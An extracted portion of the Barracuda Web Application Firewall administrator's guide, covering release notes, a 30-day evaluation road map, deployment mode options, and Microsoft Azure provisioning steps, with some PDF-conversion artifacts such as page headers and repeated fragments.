The session timeouts can now be configured larger than 180 seconds. [BNWF-4660]
POST requests are now handled correctly when Content-Type contains “Charset=”. [BNWF-10224]
SSL renegotiation is now honored when initiated from the back-end server. [BNWF-8239]
The rare case in which huge FTP downloads were terminated, no longer occurs. [BNWF-3289]
URL encoded POST- Requests with parameter values greater than 1M in URL encoded POST are now allowed. [BNWF-10107]
In rare circumstances malformed HTTP requests caused latencies. This issue is now fixed. [BNWF-5033]
The configured port range for FTP Passive mode is now correctly utilized by the clients. [BNWF-7957]
Packet captures taken from the Troubleshooting page now have .pcap extension without any integer appended (e.g., pcap0).
[BNWF-7655]
LAN and MGMT interfaces can now be configured from the console. [BNWF-9039]
Increased STM stability under large values of null parameters.
Uploading a PFX file that does not have a password is allowed. [BNWF-7355]
Issue regarding rendering energize update page has been resolved. [BNWF-11160]
Connection pool was getting timed out after 180 seconds in spite of configured value being higher. This issue is fixed now. [BNWF-7024]
Administrators can now configure From Address for the email notification alerts sent by the Barracuda Web Application Firewall.
[BNWF-13177]
SNMP's default community string is changed to “cudaSNMP”. [BNWF-13017]
Management
Backup
Configuration can now be backed up to SMB shares in Windows 2008 R2. [BNWF-10084]
In rare circumstances generating a backup file resulted in a file of zero bytes being created. This issue has been fixed. [BNWF-11637]
The process of generating a problem report can be customized to include specific components (e.g., configuration or backup).
[BNWF-11664]
SNMP
In certain cases SNMP traps were not generated when back-end server failure was detected. This issue has been fixed. [BNWF-12102]
The SNMP monitoring feature has been enhanced to support monitoring of concurrent SSL Connections in real time. [BNWF-5512]
All SNMP metrics supported on the NC-gateway product are now supported on the Barracuda Web Application Firewall. [BNWF-9942]
By default SNMP will not be listening on all interfaces, but only on the system IP.
Migration
It is now possible to change the web firewall policy of a service belonging to a Vsite, when migrating from NC-Gateway. [BNWF-9852]
User Interface
Security Policies
Changing the configuration of Security Policy options no longer results in the UI navigating incorrectly.
Adding exception patterns under Security Policies > URL Protection no longer results in the blocked attack types check boxes getting
unchecked. This issue has been fixed. [BNWF-11827]
Changing the Global URL ACL rule in a custom Security Policy no longer results in a configuration rollback. [BNWF-4216]
Bulk edit is now available for the Cookie Exempted parameter on Security Policies > Cookie Security page. [BNWF-10504]
Editing values of the Data Theft Protection parameters for the policies other than "default" and saving resulted in context switching back

to default policy. This issue has been fixed. [BNWF-10635]

NIC advanced configuration UI is also enhanced to show operational and configured autoneg status. [BNWF-13039]
Services
The rare circumstance where a service creation operation resulted in the error message “Duplicate value not allowed for Sequence
Number, Sequence Number”, no longer exists. [BNWF-12593]
Trusted certificates can now bind to a real server in order to validate the back-end SSL communication. [BNWF-4963]
Comments window is now available for various objects on the Basic > Services page. [BNWF-10724]
Bulk edit is now available for services and servers. [BNWF-10836]
IP Configuration
Form values entered are retained after an invalid submit on the BASIC > IP Configuration page. [BNWF-5327]
Energize Update
UI now shows the date for the Currently Installed Version of virus definitions. [BNWF-7692]
Logging
Additional error handling added to the logging module. [BNWF-10897]

Exporting logs to CSV format honors existing query filters. [BNWF-10996]
All logs capture Module ID of the Module where the log was generated. [BNWF-7271]
In Access logs, the server IP address was incorrectly recorded as 0.0.0.0 when the response status code is a 404. This issue is fixed
now. [BNWF-8323]
In Audit Logs, configuration changes made by the admin are now always captured in the Audit logs. [BNWF-11220]
In some cases SQL injection attacks were not getting logged. This issue has been fixed. [BNWF-11787]
In System Logs, system hostname / unit name can now be added to custom syslog format. [BNWF-6689]
Policy Wizard Apply Fix to an existing URL profile is improved. [BNWF-10256]
Attack definition updates no longer automatically restart STM, an alert message is displayed on the Basic > Status page indicating new
definition is synchronized and to apply the definitions the administrator needs to reboot the system. [BNWF-13012]
Export Logs using Syslog
Syslog can now be transported using the following connections/features:

TCP connection. [BNWF-1456]
SSL enabled TCP connection. [BNWF-180]
SSL enabled TCP connection with SSL Client Authentication. [BNWF-2137]
Additional flexibility added to export log format.
Reports
Certificate Status Report on the BASIC > Reports page displays issue and expiry dates of certificates. [BNWF-9787]
Issue while generating HTML reports to be emailed to administrators has been fixed. [BNWF-8882]

30 Day Evaluation Guide - Barracuda Web Application Firewall
In this article:
Step 1. Evaluate Deployment Options

Step 2. Deploy the Barracuda Web Application Firewall and Complete the Initial Setup
Step 3. Add Services and Default Security Policy
Step 4. Review Logs
Step 5. Fine Tune Security Policies
Step 6. Configure Notification Alert Policies
Step 7. View Reports
Step 8. Configure Syslog Server(s)
Use this article as a sample road map for setting up and testing the Barracuda Web Application Firewall in your organization's environment:
Step 1. Evaluate Deployment Options
Before you install the Barracuda Web Application Firewall, determine the deployment option that best suits your environment. The Barracuda
Web Application Firewall recommends One-Arm Reverse Proxy deployment to carry out the evaluation process. This deployment enables you to
perform functionality testing with minimal disruption to the production traffic.
Deployment Options for Hardware Appliances
You can either deploy in Reverse Proxy (One-Arm Proxy Deployment or Two-Arm Proxy Deployment), or Bridge-Path. For detailed
information, see Choosing Your Deployment.
Deployment Options for Virtual Appliances
The Barracuda Web Application Firewall Vx supports only Reverse Proxy deployment (One-Arm Proxy Deployment or Two-Arm Proxy
Deployment).
Step 2. Deploy the Barracuda Web Application Firewall and Complete the Initial Setup
Depending on whether you are evaluating a hardware or a virtual appliance, complete one of the following sets of instructions:
Hardware Appliances
Follow the instructions in the Barracuda Web Application Firewall Quick Start Guide included with your appliance.
(Optional) Complete the steps mentioned in Step 1: Installing the Barracuda Web Application Firewall.
Virtual Appliances
Download the Barracuda Web Application Firewall Vx image for your hypervisor from the Barracuda Networks Virtual Appliance
Download page.
Deploy and install the Barracuda Web Application Firewall Vx by following the steps mentioned in Virtual Deployment.
Complete the steps in Barracuda Web Application Firewall Vx Quick Start Guide.
(Optional) Complete the steps mentioned in Step 1: Installing the Barracuda Web Application Firewall.
Step 3. Add Services and Default Security Policy
After you install and choose the deployment mode, go to the BASIC > Services page and add HTTP or HTTPS services. For more information
on creating a service, see Step 2: Configuring a Service.

If deployed as a Two-Arm Proxy, all traffic to the web applications – production and testing – goes via the Barracuda Web Application Firewall. If
deployed as a One-Arm Proxy, then you can have separate paths for production traffic and test traffic. The production path bypasses the
Barracuda Web Application Firewall, so there is no disruption. Generate test traffic by browsing the application via the Service created on the
Barracuda Web Application Firewall. Test traffic should contain few attacks and some normal traffic.
A newly configured service originally uses the default security policy, typically with mode set to Passive. Policy violations are logged, but not
blocked in Passive mode.
Change the mode to Active to log as well as block the attacks. All attacks are logged in the BASIC > Web Firewall Logs page. For any blocked
request that should have been allowed (false positive), navigate to the BASIC > Web Firewall Logs page and use the one-click policy tuner to
fine tune the policies. Refer to Step 5. Fine Tune Security Policies .
Step 4. Review Logs
The Barracuda Web Application Firewall applies rules to traffic and generates a log of rule violations, viewable in the BASIC > Web Firewall
Logs page.
The Barracuda Web Application Firewall provides the following logs:
Web Firewall Logs: Displays the details of the attacks on the web application. For a description of attacks, see the Attacks Description
- Action Policy article.
Access Logs: Logs all requests that are made to the configured service(s).
Audit Logs: Monitors and logs all changes made to the system by the administrator.
System Logs: Logs all error reports, system alerts, diagnostic messages, and status messages of the Barracuda Web Application
Firewall from hardware and software components.
Network Firewall Logs: Logs all network traffic passing through the interfaces (WAN, LAN and MGMT) matching the configured network
ACL rule.
For information on how to configure syslog server and export all logs, see the How to Configure Syslog and other Logs article.
You can use the Web Firewall Logs to evaluate rule violations, and when warranted, create exceptions to the rule violated. Exceptions can apply
globally if you modify the security policy, i.e. it affects all services using that policy. For a description of attacks, see the Attacks Description -
Action Policy article.
Step 5. Fine Tune Security Policies
You can evaluate the logs on the BASIC > Web Firewall Logs page, and fine tune the web firewall policies. Step through the logs and identify
false positives, if any. Then use the Fix button to fine tune the policy.
For more information on how to tune security policies using web firewall logs, see the Tuning Security Rules Using Web Firewall Logs article.
Step 6. Configure Notification Alert Policies
You can enable notification alerts to send email notifications to the administrator when certain events occur in the module(s), or the configured
threshold is exceeded. You can select single or multiple modules and set the severity level requiring email notification alerts. Also, you can set
the threshold limit for the hardware components, attack categories and for each attack type under service(s).
To enable notification alerts for the modules, go to the BASIC > Notifications > Notification Configuration section; select the modules and
severity level, and then click Save.
To enable notification alerts for the hardware components, attack categories and attack types per service, go to the BASIC > Notifications >
Global Threshold/Service Threshold sections, set the threshold limit and click Save.
For more information, see the Configuring Notifications article.
Step 7. View Reports
You can configure and generate reports of various types on the BASIC > Reports page. It is possible to generate a one-time report, or configure
the Barracuda Web Application Firewall to automatically generate the reports on an hourly, daily, weekly or monthly basis.
On the BASIC > Reports page, you generate the following reports:
Security Reports – These reports cover the web attack prevention activity performed by the Barracuda Web Application Firewall.
Administrator Audit Reports – These reports cover the server details and the login/logout activities performed by different user roles.
Traffic Reports – These reports cover web traffic activities monitored by the Barracuda Web Application Firewall.
Config Summary Reports – These reports cover the Barracuda Web Application Firewall features such as Load Balancing, Rate
Control, Learning, etc. , as well as the details of installed certificates, details of user accounts and their privileges and details of profiles
and access control rules associated with the service.
PCI Reports – These reports provide the details of PCI compliance on the Barracuda Web Application Firewall.
For more information, see the Reporting article.

Step 8. Configure Syslog Server(s)
You can configure syslog server(s) and transmit logs (Access Logs, Audit Logs, Web Firewall Logs, System Logs and Network Firewall Logs) to
your syslog server(s). You can configure a maximum of three (3) syslog servers, set the connection type to transmit the logs on the ADVANCED
> Export Logs > Syslog section.
The Barracuda Web Application Firewall initiates the connection and transmits logs to the available syslog server.
To configure a syslog server:
1. Go to the ADVANCED > Export Logs page.

2. In the Syslog section, click Add Syslog Server.
3. In the Add Syslog Server window:
Enter the details of the syslog server (IP address and Port).
Select the connection type (UDP, TCP or SSL).
Select whether to validate syslog server certificate or not.
Select whether you want the Barracuda Web Application Firewall to present certificate while connecting to the syslog server or
not.
Click Add.
For more information, refer to the Online help.

Deployment Options
In This Section:
Choosing Your Deployment Mode

Configuring Two-Arm Proxy Mode
Configuring One-Arm Proxy Mode
Configuring Bridge-Path Mode
Public Cloud Hosting
Microsoft Azure
Deploying and Provisioning the Barracuda Web Application Firewall on Microsoft Azure
Deploying and Provisioning the Barracuda Web Application Firewall in the New Microsoft Azure Management
Portal
Deploying and Provisioning the Barracuda Web Application Firewall in the Old Microsoft Azure Management
Portal
Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure
How to add Additional Storage to your Azure Deployment - New Portal
How to add Additional Storage to your Azure Deployment - Classic Portal
Creating the Barracuda Web Application Firewall Image on Microsoft Azure
Adding an Additional Public IP Address on Microsoft Azure
Load Balancing For Clustered Barracuda Web Application Firewall Instances on Microsoft Azure
Load Balancing For Clustered Barracuda Web Application Firewall Instances in the New Microsoft Azure
Management Portal
Load Balancing For Clustered Barracuda Web Application Firewall Instances in the Old Microsoft Azure
Management Portal
Amazon Web Services
Barracuda Web Application Firewall Deployment and Quick Start Guide for Amazon Web Services
Load Balancing For Clustered Barracuda Web Application Firewall Instances in Amazon Web Services (AWS)
Disk Expansion of the Barracuda Web Application Firewall on Amazon Web Services (AWS)
Troubleshooting the Barracuda Web Application Firewall on Amazon Web Services
Auto Scaling of Barracuda Web Application Firewall using CloudFormation Template on Amazon Web Services
Barracuda CloudFormation Template (CFT)
How Barracuda CloudFormation Template (CFT) Works
Importing the Barracuda Web Application Firewall CloudFormation Template and Deploying the Instance
Verify the Instance in the Auto Scaling Group
vCloud Air
Barracuda Web Application Firewall Quick Start Guide on vCloud Air
Configure NAT and Firewall Rules on vCloud
Clustering of Two Barracuda Web Application Firewalls on vCloud
Best Security Practices for the Barracuda Web Application Firewall on vCloud
Setting Up the Management Interface for the Barracuda Web Application Firewall on vCloud
Virtual Deployment
How to Deploy Barracuda Web Application Firewall Vx Images
Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web Application Firewall Vx
Barracuda Web Application Firewall Vx Quick Start Guide
Backing Up Your Virtual Machine System State

Choosing Your Deployment Mode
The Barracuda Web Application Firewall can be deployed as a reverse proxy, in Two-Arm Proxy or in One-Arm Proxy configuration. Alternatively,
it can be deployed in a bridge-path configuration with the Barracuda Web Application Firewall appliance - but bridge-path is not supported by the
Barracuda Web Application Firewall Vx virtual machine.
Reverse Proxy Deployment of the Barracuda Web Application Firewall
Reverse proxy deployments accept traffic on the virtual IP address and proxy the traffic to the back-end server network behind the Barracuda
Web Application Firewall. Reverse proxy options include:
Two-Arm Proxy Deployment

One-Arm Proxy Deployment
Two-Arm Proxy Deployment
The Barracuda Web Application Firewall is in-line with the web servers; it intercepts and inspects incoming and outgoing traffic, preventing
attacks from reaching the web servers and preventing the leak of sensitive data to the requesting clients. Apart from web application security, this
mode also allows all delivery acceleration features like server/application load balancing and tcp connection pooling to be employed. For details
on configuring this deployment type, see Configuring Two-Arm Proxy Mode. This deployment mode is supported by the Barracuda Web
Application Firewall virtual appliance (see Virtual Deployment).
How This Deployment Works
The Two-Arm Proxy deployment is the recommended mode for initial deployment. The Barracuda Web Application Firewall is shipped in Proxy
mode. In a Two-Arm Proxy configuration, the Barracuda Web Application Firewall is deployed in-line using both physical ports (WAN and LAN) of
the device. This configuration is recommended because it provides the best security and can utilize all traffic acceleration features. Deploying in
Two-Arm Proxy requires changes to the existing network infrastructure.
Two-Arm Proxy deployment requires the WAN and LAN interfaces of the Barracuda Web Application Firewall to be on separate logical networks.
The servers must be on a private network connected through a switch on the LAN port.
The WAN port connects to the Internet facing switch that connects to a router/network firewall which routes the traffic to the Internet.
Each server in the private network is assigned a virtual IP address on the Barracuda Web Application Firewall (for example, 192.168.9.110, 192.1
68.9.120, and 192.168.9.130 in Figure Sample Two-Arm Proxy Network Layout). The virtual IP addresses should be accessible from the Internet,
routed to the WAN port via the switch connected to it. When a request is received by the Barracuda Web Application Firewall on a VIP advertised
through the WAN port, it inspects and redirects it to the real server on the private network via the LAN port. For example, the VIPs map to real
servers 10.10.10.10, 10.10.10.20, and 10.10.10.30. See Figure: Sample Two-Arm Proxy Network Layout.
Sample Two-Arm Proxy Network Layout:
Advantages and Considerations
The following table describes the advantages and considerations of deploying your Barracuda Web Application Firewall in Two-Arm Proxy mode.
Advantages Considerations

Full feature availability including Load Balancing and Instant SSL. Requires network changes to Server IP addresses and DNS
mappings.
Most secure deployment choice since back-end servers are Deployment requires cut-over of live services.
completely isolated.
Fast High Availability failover. Network reconfiguration required to restore network to original state.
One-Arm Proxy Deployment
Allows the deployment of the Barracuda Web Application Firewall with minimal changes to the network configuration of the web servers.
However, traffic from the upstream devices will have to explicitly pass through the Barracuda Web Application Firewall. For details on configuring
this deployment type, see Configuring One-Arm Proxy Mode. This deployment mode is supported by the Barracuda Web Application Firewall
virtual appliance (see Virtual Deployment).
One-Arm proxy deployment requires minimal changes to the existing infrastructure. In this deployment, the WAN port is used for both incoming
and outgoing traffic passing through the Barracuda Web Application Firewall. One-Arm Proxy deployment allows the retention of alternate paths
to access the servers. For example, this deployment configuration can be used to load balance HTTP/HTTPS traffic at the application layer, while
letting SMTP and other traffic go directly to the server.
Sample One-Arm network layout:
The following table describes the advantages and considerations of deploying your Barracuda Web Application Firewall in One-Arm Proxy mode.
Requires fewer network configuration changes than Two-Arm Proxy. Requires DNS, IP address changes.
Network infrastructure and partitioning unchanged.
Allows multiple access paths to servers for testing. Decreased throughput with only one port (WAN) used.
Integrates easily with existing enterprise load balancers. Potentially compromises server security by providing direct server
access, unlike Two-Arm Proxy configuration.
Bridge Mode Deployment of the Barracuda Web Application Firewall
The Barracuda Web Application Firewall is inline with the web servers and acts as an L2 transparent bridge. It inspects only the traffic that is
configured for inspection while bridging all other traffic. Bridge mode deployment can be achieved with no changes to the network configuration of
the upstream devices or web servers. For details on configuring this deployment type, see Configuring Bridge-Path Mode . This deployment
mode is not supported on the Barracuda Web Application Firewall virtual appliance (see Virtual Deployment).
In Bridge-Path deployment the Barracuda Web Application Firewall is located inline between the network firewall and the web servers, inspecting
configured traffic and bridging any other traffic to the servers. Bridge-Path provides the easiest configuration scenario because it uses the same
IP address for the VIP and back-end server, so it does not require changing the server IP addresses or DNS mappings. You can place the

Barracuda Web Application Firewall inline with the existing IP address infrastructure and add servers without changing IP addresses. In a
Bridge-Path deployment, the WAN and LAN interfaces must be on physically separate networks and the LAN interface must be on the same
logical switch as the servers.
Sample Bridge-Path network layout:
The following table describes the advantages and considerations of deploying your Barracuda Web Application Firewall in Bridge mode.
Minimal network changes since the existing IP address infrastructure Sensitive to broadcast storms and address resolution looping errors.
is reused.
Real Servers keep existing IP addresses. Less resilient to network misconfiguration.
Features like Load balancing and TCP pooling are not available.

The Two-Arm Proxy mode uses both physical ports (WAN and LAN) of the device. This is the recommended configuration as it provides the best
security, and utilizes all traffic acceleration features. Perform the following configuration for Two-Arm Proxy mode:
1. Go to the BASIC > IP Configuration page.

2. Specify values for the following in the WAN IP Configuration section:
IP Address
Subnet Mask
Default Gateway
3. Specify values for the following in the LAN IP Configuration section:
LAN IP Address
LAN Netmask
4. In the Operation Mode section, set the Mode of Operation to Proxy.
5. Enter Default Hostname and Default Domain in the Domain Configuration section. The Host Name will be used in reporting, and the
Default Domain is the domain for the system.
6. Click Save.
If you want to switch from Proxy to Bridge mode or Bridge to Proxy mode, you have to remove all configured Services, VLANs and
Virtual Interfaces on the device. You can remove services on the BASIC > Services page, VLANs and Virtual Interfaces on the ADVA
NCED > Advanced IP Config page. Note that Bridge Mode is not supported by the Barracuda Web Application Firewall Vx virtual
machine.
Continue with Step 1: Installing the Barracuda Web Application Firewall.
Related Articles


Configuring One-Arm Proxy
In One-Arm proxy mode, the device uses only the WAN port for both incoming and outgoing traffic. Do the following to configure One-Arm Proxy
mode:
1. Go to the BASIC > IP Configuration page.

2. Specify values for the following in the WAN IP Configuration section:
IP Address
Subnet Mask
Default Gateway
3. In the Operation Mode section, set the Mode of Operation to Proxy.
4. Enter Default Hostname and Default Domain in the Domain Configuration section. The Host Name will be used in reporting, and the
Default Domain is the domain for the system.
5. Click Save.
NCED > Advanced IP Config page. Note that Bridge Mode is not supported by the Barracuda Web Application Firewall Vx virtual
machine.

Related Articles:


Configuring Bridge Mode
In Bridge mode, the Barracuda Web Application Firewall uses the same IP address for Virtual IP (VIP) and back-end server. Use this mode of
operation when you want to avoid network changes such as the server IP address and DNS mappings. Bridge Mode is not supported by the
Barracuda Web Application Firewall Vx virtual machine.
In the Barracuda Web Application Firewall 861, 862, 961 and 962, when the unit is forced into a Bypass on Failure or Hard Bypass st
ate, the Bypass LED on the front panel will not be lit.
Changing the Mode of Operation
To change the mode of operation from Proxy to Bridge, select Bridge All Traffic under Operation Mode on the BASIC > IP Configuration page
and click Save Changes. If you want to change the mode of operation from Bridge to Proxy:
Make sure that Bypass on Failure and Hard Bypass in the Bypass Configuration section is set to No.
Select Proxy and click Save.
NCED > Advanced IP Config page.

Related Articles


Public Cloud Hosting
Barracuda Networks offers the Barracuda Web Application Firewall Vx as a cloud hosted virtual machine, protecting your applications that are set
up in the public cloud or in private networks. Cloud hosted virtualization is currently available for:
Microsoft Azure
Amazon Web Services
vCloud Air

Microsoft Azure
If you need to add additional storage, you must create a new attached drive; this applies to Barracuda virtual machines purchased
through the Microsoft Azure Marketplace February 2015 or later. You cannot attach new storage in earlier deployments.
The Barracuda Web Application Firewall provides proven application security and data loss prevention for your applications on Microsoft Azure,
including:
Detecting and blocking attacks including SQL injections, Cross-Site Scripting, malware uploads, and volumetric or application DDoS.
Authentication and access control allowing organizations to exercise strong user control.
Scanning of outbound traffic for sensitive data, with admin control of masking or blocking information to prevent data leakage.
Built-in load balancing and session management, allowing organizations to manage multiple applications behind a single instance of the
Barracuda Web Application Firewall.
Cloud hosted deployment of the Barracuda Web Application Firewall on Microsoft Azure currently supports One-Arm Proxy Mode. For more
information, see Configuring One-Arm Proxy Mode.
To meet a variety of performance requirements, the A1, A2, A3 and A4 instance types are supported. Depending on the instance type, you can
have:
Up to 8 vCPU.
Up to 14 GB of memory.
In this article:
Licensing Options
Bring Your Own License (BYOL)
BYOL Models and Instance Types
Hourly / Metered
Hourly / Metered Model and Instance Types
Before You Begin
Create an Azure Virtual Network
Next Step
Licensing Options
The Barracuda Web Application Firewall is available on Microsoft Azure with the Bring Your Own License (BYOL) and Hourly / Metered option.
With the Bring Your Own License (BYOL) option, you are required to get the Barracuda Web Application Firewall license token, either by:

Providing the required information for a free evaluation at https://www.barracuda.com/purchase/evaluation OR

Purchasing online at https://www.barracuda.com/purchase.
With this license option, there will be no Barracuda Web Application Firewall Software charges, but Microsoft Azure usage charges
on Microsoft will be applicable.
For BYOL, Barracuda offers four models. The table below lists each model, the corresponding Instance Type to be used in Microsoft Azure, the
default CPU and Memory for the instance.
If you want to increase the performance of a license that you have already purchased, you can buy additional cores from Barracuda and
reconfigure for a larger instance type.
Barracuda Web Application Supported Instance Type in Default vCPU Default Memory
Firewall Model Microsoft Azure
Level 1 A1 1 1.7 GB
Level 5 A2 2 3.5 GB
Level 10 A3 4 7 GB
Level 15 A4 8 14 GB
You can add multiple Barracuda Web Application Firewall instances under one cloud service and load balance the traffic between the deployed
instances to increase the throughput. For more information on load balancing, see the Load Balancing For Clustered Barracuda Web Application
Firewall Instances in the Old Microsoft Azure Management Portal article.
Hourly / Metered
With the Hourly/Metered licensing option, you complete the purchase or evaluation of the Barracuda Web Application Firewall entirely within the
Microsoft Azure gallery. After the instance is launched, it is provisioned automatically. You are charged hourly for both the Barracuda Web
Application Firewall Software and Microsoft Azure usage on Microsoft.
For more information on supported instance types, Default vCPU, Default Memory and Hourly pricing, refer to Barracuda Web Application
Firewall Pricing Details.
If you want to increase the performance of an existing VM, configure it with a larger instance type on Microsoft Azure and you will be charged
accordingly by Microsoft. The VM will automatically be reconfigured by Microsoft with the resources and capabilities of the larger instance type.
Before You Begin
Create a Microsoft Azure Account
Create an Azure Virtual Network
1. Log into your Microsoft Azure Management Portal.

2. In the left pane, click NETWORKS, and then click NEW at the bottom of the screen.

3. Click NETWORK SERVICES > VIRTUAL NETWORK > CUSTOM CREATE. The CREATE A VIRTUAL NETWORK window appears.
4. On the Virtual Network Details page:

a. Enter a unique name in the Name field. For example, AzureVirtualNet
b. Select a location from the LOCATION drop-down list. The virtual network can only be used for Azure instances in this
geographic region. E.g., South Central US
c. Click Next .
5. (Optional) On the DNS Servers and VPN Connectivity page, select or enter your DNS SERVERS.
6. Click Next .
7. On the Virtual Network Address Spaces page, configure the ADDRESS SPACE:
a. STARTING IP: Enter the first IP address of the address space you want to use.
b. CIDR: Select the subnet mask for the virtual network. The maximum number of instances for a virtual network are listed in
parentheses.
8. Add a SUBNET:
a. STARTING IP: Enter the first IP address of the subnet.
b. CIDR: Select the subnet mask for the subnet.

9. Click Finish .
The created virtual network gets displayed in the VIRTUAL NETWORKS lists.
Next Step
Continue with Deploying and Provisioning the Barracuda Web Application Firewall in the Old Microsoft Azure Management Portal for instructions
on installation and configuration.

Deploying and Provisioning the Barracuda Web Application Firewall on Microsoft Azure
This article walks you through the steps to deploy and provision the
Barracuda Web Application Firewall on Microsoft Azure.
Related Articles
Barracuda Web Application
Firewall Quick Start Guide -
Microsoft Azure
The Barracuda Web Application Firewall on Microsoft Azure supports ONLY One-Arm Proxy mode deployment. For more information,
see Configuring One-Arm Proxy Mode.
In this article:
Deploying and Provisioning the Barracuda Web Application Firewall in the New Microsoft Azure Management Portal
Deploying and Provisioning the Barracuda Web Application Firewall in the Old Microsoft Azure Management Portal

Deploying and Provisioning the Barracuda Web Application Firewall in the New Microsoft Azure Management Portal
In this Section:
Deploying and Provisioning the Barracuda Web Application Firewall Using the Azure Resource Manager Model
Deploying and Provisioning the Barracuda Web Application Firewall Using the Classic Model
Next Step
Deploying and Provisioning the Barracuda Web Application Firewall Using the Azure Resource Manager Model
Perform the following steps to deploy and provision the Barracuda Web Application Firewall using Resource Manager in the new Microsoft Azure
portal:
1. Log into the Microsoft Azure Management Portal.

2. Click Marketplace at the bottom of the screen.
3. In the Everything page, enter Barracuda Web Application Firewall in the text field.
4. In the search results, select Barracuda Web Application Firewall (BYOL or Hourly as per your requirement).
5. In the Bring Your Own License enabled/Free Trial enabled page:

a. Read the product overview.
b. Select Resource Manager as a deployment model from the Select a deployment model drop-down list.
c. Click Create.
6. In the Create virtual machine > 1 Basics page:

a. Name: Enter a name for the virtual machine.
b.

6. Barracuda Web Application Firewall Administrator's Guide - Page 53
b. User name: Enter a username. Note: This entry is not used by the Barracuda Web Application Firewall.
c. Authentication Type: Choose SSH Public Key or Password and enter the public key/password for the authentication. Note
that this entry will not be used by the Barracuda Web Application Firewall.
d. Resource Group: Create a new resource group or select a resource group from the existing Resource group list.
e. Location: Select a location for the resource group.
f. Click OK.
7. In the Create virtual machine > 2 Size page:

a. Select a size for the instance and click Select.
8. In the Create virtual machine > 3 Settings page:

a. Storage
i. Data type: Select Standard/Premium (SSD) as per your requirement.
ii. Storage account: Create a new storage account or select a storage account from the existing Storage account list.
b. Network
i. Virtual network: Configure or select the network in which you want to deploy the Barracuda Web Application Firewall.
ii.

b. Barracuda Web Application Firewall Administrator's Guide - Page 54
ii. Subnet: Configure or select the subnet in which you want to deploy the Barracuda Web Application Firewall.
iii. Public IP address: Configure or select the public IP address to the Barracuda Web Application Firewall.
iv. Network security group: By default, port 8000 (TCP) and port 443 (TCP) will be opened as in your Security Group to
access the web interface of the Barracuda Web Application Firewall. Configure additional rules which you want to use
for creating services on the Barracuda Web Application Firewall.
c. Monitoring
i. Diagnostics: By default, it is set to Enabled. When enabled, you receive metrics every minute for your virtual machine.
Note: It is recommended to contact Barracuda Technical Support before enabling Monitoring Diagnostics.
ii. Diagnostics storage account: Create a new diagnostics storage account or select a storage account from the existing
list for the virtual machine. The metrics are written to the specified storage account.
d. Availability
i. Availability set: Create an availability set or select an availability set from the existing Availability set list. Note: If you
intend to use this virtual machine in cluster, ensure all virtual machines in cluster is configured with same availability set.
9. In the 4 Summary page, review the configuration settings and click OK.

10. In the 5 Buy page, read the legal terms and click Purchase to complete the deployment.
After clicking Purchase, Microsoft Azure begins provisioning the Barracuda Web Application Firewall. You can check the status of the
provisioned Barracuda Web Application Firewall from the Microsoft Azure Portal. Allow a few minutes before taking any further actions in the
Portal. During this time, the Microsoft Azure Linux Agent and Barracuda Web Application Firewall image boots up.
Make sure you do not restart the Barracuda Web Application Firewall while it is provisioning.
Deploying and Provisioning the Barracuda Web Application Firewall Using the Classic Model
Perform the following steps to deploy and provision the Barracuda Web Application Firewall using the classic deployment model in the new
Microsoft Azure portal:

2. Click Marketplace at the bottom of the screen.
3. In the Everything page, enter Barracuda Web Application Firewall in the text field.
4. In the search results, select Barracuda Web Application Firewall (BYOL or Hourly as per your requirement).
5. In the Bring Your Own License enabled/Free Trial enabled page:
a. Read the product overview.
b. Select Classic as a deployment model from the Select a deployment model drop-down list.
c. Click Create.

c.
6. In the Create VM page:

a. Enter the host name in the HOST NAME field.
b. Enter a username in the USER NAME field . This entry is not used by the Barracuda Web Application Firewall.
c. Under Authentication Type, choose SSH Public Key or Password based on your selection. Note that this entry will not be used
by the Barracuda Web Application Firewall.
d. Select the PRICING TIER based on your requirement.
e. In the OPTIONAL CONFIGURATION section, do the following:
i. AVAILABILITY SET - Configure as per your requirement.
ii. NETWORK - Configure the network in which you want to deploy the Barracuda Web Application Firewall. Ensure it is in
the same network as your web servers.
It is recommended to assign a Static IP address to the Barracuda Web Application Firewall. Follow the steps
below to assign the Static IP address:
1. Select IP ADDRESSES under Network.

2. In the IP ADDRESSES section, select Static under Static IP address assignment.
3. Specify a static IP address from your network pool and click OK.
iii. STORAGE ACCOUNT - Select an existing storage account or create a storage account
iv. ENDPOINTS - By default, port 8000 (TCP) and port 443 (TCP) will be opened as endpoints to access the web interface
of the Barracuda Web Application Firewall. Configure additional endpoints which you want to use for creating services
on the Barracuda Web Application Firewall.
v. EXTENSIONS - Do not add any extension, as the Barracuda Web Application Firewall does not support extensions.

7. Select a group in RESOURCE GROUP.

8. Choose a subscription for the instance from the Subscription list.
9. Select Legal terms.
10. In the Purchase page, read the legal terms and click Purchase.
11. Click Create to complete the deployment.
After clicking Create, Microsoft Azure begins provisioning the Barracuda Web Application Firewall. You can check the status of the provisioned
Barracuda Web Application Firewall from the Microsoft Azure Portal. Allow a few minutes before taking any further actions in the Portal. During
this time, the Microsoft Azure Linux Agent and Barracuda Web Application Firewall image boots up.
Next Step
Continue with the Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure for licensing and initial configuration of your virtual
machine.

Perform the following steps to deploy and provision the Barracuda Web Application Firewall in the old Microsoft Azure management portal:

2. On the VIRTUAL MACHINES page, click NEW at the bottom of the screen.
3. In the NEW window, navigate to COMPUTE > VIRTUAL MACHINE > FROM GALLERY.
4. On the Choose an Image page, search for Barracuda Web Application Firewall image. Select the Barracuda Web Application Firewall
image and click Next (->) to continue.
The Classic Portal allows you to deploy only the Barracuda Web Application Firewall BYOL. To deploy the Barracuda Web
Application Firewall HOURLY, use the new portal and follow the instructions mentioned in Deploying and Provisioning the
Barracuda Web Application Firewall Using the New Microsoft Azure Management Portal.

5. On the Virtual machine configuration page:

a. Enter a name in the VIRTUAL MACHINE NAME field.
b. Select the TIER (BASIC or STANDARD).
c. Select a size for the virtual machine from the SIZE list based on the Barracuda Web Application Firewall license.
d. In the NEW USER NAME field, enter a username. This entry is not used by the Barracuda Web Application Firewall.
e. Clear the UPLOAD COMPATIBLE SSH KEY FOR AUTHENTICATION check box.
f. Select the PROVIDE A PASSWORD check box and enter a password in NEW PASSWORD. Re-enter the password in CONFIR
M and click Next (->). This entry is not used by the Barracuda Web Application Firewall.
6. On the second page of Virtual machine configuration:

a. Select Create a new cloud service from the CLOUD SERVICE list.
b. Enter a name in the CLOUD SERVICE DNS NAME field.
c. Select a region from the REGION/AFFINITY GROUP/VIRTUAL NETWORK list.
d. Select a subnet from the VIRTUAL NETWORK SUBNETS list.
e. Select None for AVAILABILITY SET.
